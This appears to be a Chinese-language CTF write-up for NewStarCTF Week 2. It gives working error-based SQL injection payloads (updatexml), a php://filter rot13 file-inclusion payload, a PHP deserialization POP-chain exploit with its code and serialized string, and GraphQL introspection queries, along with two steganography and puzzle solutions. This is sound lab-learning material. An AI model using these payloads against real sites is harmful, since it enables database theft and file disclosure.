NewStarCTF 公开赛赛道 WEEK2 WP

WEB

Word-For-You(2 Gen)

这道题目做的时候,以为是布尔盲注,然后写脚本一直跑,就是得不到flag,好家伙…………因为他这道题没必要使用布尔盲注,想哭……

这道题直接使用报错注入就可以了。使用1’ union select updatexml('a',concat('~',database()),'b')#可以得到库名

直接burp发到重发器来注入,然后我们使用1' union select updatexml('a',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1)),'b')#可以分别得到三个表名wfy_adminwfy_commentswfy_information

然后使用1' union select updatexml('a',concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='wfy_comments' limit 0,1)),'b')#
可以得到字段idtextusernamedisplay

最后使用1' union select updatexml('a',concat('~',(select concat(text,user,name,display) from wfy_comments limit 11,1)),'b')#可以得到flag

IncludeOne

这道题目提示了我们使用随机数是不是真的随机,所以可能是要使用php_mt_seed这个工具进行破解了。

题目给出了源码,而且还给出了一个随机数的值。所以我们使用php_mt_seed查看其种子的值。

这里的值是我一个个试出来的,没有想到好的方法得到PHP的版本。然后我们得到种子之后就可以利用种子来绕过第一个if了。

第二个if两个正则表达式,这里我们可以使用到伪协议了,但是因为base被过滤了,所以我们可以使rot13来代替,但是要包含NewStar,所以这里要介绍一个伪协议的特性了,过滤器是可以随便写的,所以这个字符串可以放在过滤器中,构造payload:?file=php://filter/read=string.rot13|NewStar/resource=flag.php
结合起来就可以得到flag了

进行rot13解密即可得到flag。

UnserializeOne

搞了四天,终于把反序列化搞懂了一点点,之前的反序列化题目白做了,题目给出了源码

利用点在Sec类中的__invoke魔术方法中,所以我们要触发这个方法就需要Start类中的__isset魔术方法,再触发这个方法我们就需要eeee类中的__clone魔术方法,触发这个方法需要Easy类中的__call方法,触发__call我们可以访问Easy类中不存在。所以我们的pop链为

Easy:__call->eeee:__clone->Start:__isset->Sec:__invoke,但是反序列化会先执行__destruct魔术方法,所以我们最后的pop链为

Start:__destruct->Sec:__toString->Easy:__call->eeee:__clone->Start:__isset->Sec:__invoke

最后代码如下:

<?php

class Start
{
    public $name;
    public $func;

    public function __destruct()
    {
        echo "Welcome to NewStarCTF, " . $this->name;
    }

    public function __isset($var)
    {
        ($this->func)();
    }
}

class Sec
{
    public $obj;
    public $var;

    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }

    public function __invoke()// 利用点
    {
        echo file_get_contents('flag.txt');
    }
}

class Easy
{
    public $cla;

    public function __call($fun, $var)
    {
        $this->cla = clone $var[0];
    }
}

class eeee
{
    public $obj;

    public function __clone()
    {
        if (isset($this->obj->cmd)) {
            echo "success";
        }
    }
}

$a = new Easy();
$b = new eeee();
$c = new Start();
$d = new Sec();
$b->obj = $c;
$c->func = $d;
$c->name = $d;
$d->obj = $a;
$d->var = $b;
$a->callxxx($b);
echo serialize($a);

得出序列化的结果为:O:4:"Easy":1:{s:3:"cla";O:4:"eeee":1:{s:3:"obj";O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";r:1;s:3:"var";O:4:"eeee":1:{s:3:"obj";r:3;}}s:4:"func";r:4;}}}

最后可以得到flag

ezAPI

源码泄露,访问www.zip得到源码

这里是后面提示了才知道是GraphQL,所以还去学习了一下GraphQL的基本语法,首先使用id=1&data={"query":"query{\n __schema {\n types {\n name \n }\n}\n}\n", "variables":null}得到flag所在的位置

最后使用id=1&data={"query":"query{ffffllllaaagggg_1n_h3r3_flag {flag}}","variables":null}得到flag

MISC

Yesec no drumsticks 2

提示是使用vim打开

这是零宽度字符隐写,使用工具提取隐写的内容:
http://330k.github.io/misc_tools/unicode_steganography.html

得到隐写内容之后进行解码,一直以为是base64编码,后来才试出来是base58编码

再将十六进制转换为字符串即可得到flag

Coldwinds’s Desktop

使用magick将144张图片拼凑到一起

得到flag.png

再使用gaps工具还原原图

最后可以得到flag为flag{Y0u_successfu11y_s01ved_the_puzz1e}这个flag我真的是服了,想暴打出题人。

这一周的解题都在这里了,还是比较废物。好好加油吧!